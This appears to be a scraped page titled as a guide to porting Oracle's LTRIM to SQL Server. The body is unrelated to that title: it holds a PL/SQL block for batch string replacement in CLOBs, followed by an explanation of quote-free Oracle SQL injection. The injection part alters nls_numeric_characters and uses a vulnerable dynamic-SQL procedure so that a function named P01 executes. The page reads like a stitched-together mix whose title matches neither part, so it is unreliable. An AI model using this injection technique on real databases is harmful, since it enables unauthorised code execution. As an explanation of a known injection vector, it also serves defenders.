Port LTRIM from Oracle to SQL Server – How to Guide

Something like this for each field.

--Setup.
DROP TABLE t1;
CREATE TABLE t1 (ID Number(4), VBase Clob);
INSERT INTO t1 (SELECT level, '*' || '.magic()' || '*' FROM dual 
   connect by level <=2001);
COMMIT;
SELECT * FROM t1;

--Replace.
DECLARE
   cBatchSize CONSTANT Number(3) := 100;
   Cursor vQuery Is SELECT ID, VBase FROM t1 FOR UPDATE;   
   Type tTable Is Table Of t1%rowtype;
   vData tTable;
   vNew Clob;
   vLocation Number(10);
   vLobLength Number(10);

   Procedure LobReplace(ioLob In Out Clob, iOld In Varchar2, iNew In Varchar2 )
   As
       vPosition number;
   Begin
       vPosition := dbms_lob.instr(ioLob, iOld);
       If (nvl(vPosition,0) > 0) Then
           DBMS_Lob.Copy( ioLob, ioLob, dbms_lob.getlength(ioLob)
              , vPosition+length(iNew), vPosition+length(iOld) );
           DBMS_Lob.Write( ioLob, length(iNew), vPosition, iNew );
           If (Length(iOld) > Length(iNew)) Then
               DBMS_Lob.Trim(ioLob
                  , dbms_lob.getlength(ioLob) - (length(iOld)-length(iNew)));
           End If;
       End If;
   End;


BEGIN
   Open vQuery;
   Loop
      Fetch vQuery Bulk Collect Into vData Limit cBatchSize;
      For i In 1..vData.Count() Loop
         LobReplace(vData(i).VBase,'.magic()',' ');
      End Loop;
      ForAll i In 1..vData.Count
         UPDATE t1 SET vBase = vData(i).VBase WHERE ID = vData(i).Id;
      Exit When vData.Count() < cBatchsize;
   End Loop;
   Close vQuery;

   COMMIT;
END;
/

--Verify.
SELECT * FROM t1;

Yes, it is possible to perform an SQL injection attack without supplying quotes in the parameter.

The way to do this is with an exploit to do with how numbers and/or dates are processed. You can specify at the session level what the format of a date or number is. By manipulating this you can then inject with any character.

By default in the UK and US, a comma is used to indicate the thousands separator in numbers, and a full stop for the decimal point. You can change these defaults by executing:

alter session set nls_numeric_characters = 'PZ';

This means that "P" is now the decimal point and "Z" is the thousands separator. So:

0P01

Is the number 0.01. However, if you create a function P01, the object reference will be picked up before number conversion. This allows you to execute functions on the database giving you increasing powers, as follows:

Create a basic "get by id" function:

create procedure get_obj ( i in number ) as
begin
  execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/

Also create a function P01 which does something undesirable (in this case just creating a table, but you get the idea):

create function p01 return number as
  pragma autonomous_transaction;
begin
  execute immediate 'create table t (x integer)';
  return 1;
end;
/

And we're good to go:

alter session set nls_numeric_characters = 'PZ';

SELECT * FROM t;

SQL Error: ORA-00942: table or view does not exist

exec get_obj(p01);

anonymous block completed

SELECT * FROM t;

no rows selected

No quotes anywhere, but we've still managed to execute the "hidden" function P01 and create the table t!

While this may be difficult to do in practice (and may require some internal knowledge/help), this does show that you can inject SQL without having to have quotes. Altering the nls_date_format can allow similar things to be done.

The original findings for numbers were by David Litchfield and you can read his paper here. You can find Tom Kyte's discussion of how dates can be exploited here.